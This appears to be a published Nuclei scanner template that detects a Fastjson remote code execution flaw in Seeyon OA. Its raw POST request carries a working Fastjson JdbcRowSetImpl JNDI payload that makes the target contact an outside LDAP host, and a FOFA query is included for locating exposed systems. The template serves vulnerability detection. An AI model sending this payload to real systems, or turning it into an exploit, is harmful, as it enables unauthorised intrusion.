Seeyon OA Fastjson Remote Code Execution

ID: seeyon-oa-fastjson-rce

Severity: critical

Author: SleepingBag945

Tags: seeyon,oa,rce,fastjson,oast

Description

Seeyon OA Fastjson is vulnerable to RCE.

YAML Source

id: seeyon-oa-fastjson-rce

info:
  name: Seeyon OA Fastjson Remote Code Execution
  author: SleepingBag945
  severity: critical
  description: Seeyon OA Fastjson is vulnerable to RCE.
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
    - https://github.com/hktalent/scan4all/blob/main/pocs_go/seeyon/SeeyonFastjson.go
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="致远互联-OA"
  tags: seeyon,oa,rce,fastjson,oast

http:
  - raw:
      - |
        POST /seeyon/main.do?method=changeLocale HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _json_params={"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "com.alibaba.fastjson.JSONException"
# digest: 4b0a00483046022100fa75bc4796caec09456fb9950680f5f9663ba43be6bdcdafa30a3f22fe526275022100cce2c4f688fda4fdd678cc3cb473cc9c637c0135f7aec5a85df40169c1a2a5b8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/seeyon/seeyon-oa-fastjson-rce.yaml"

View on Github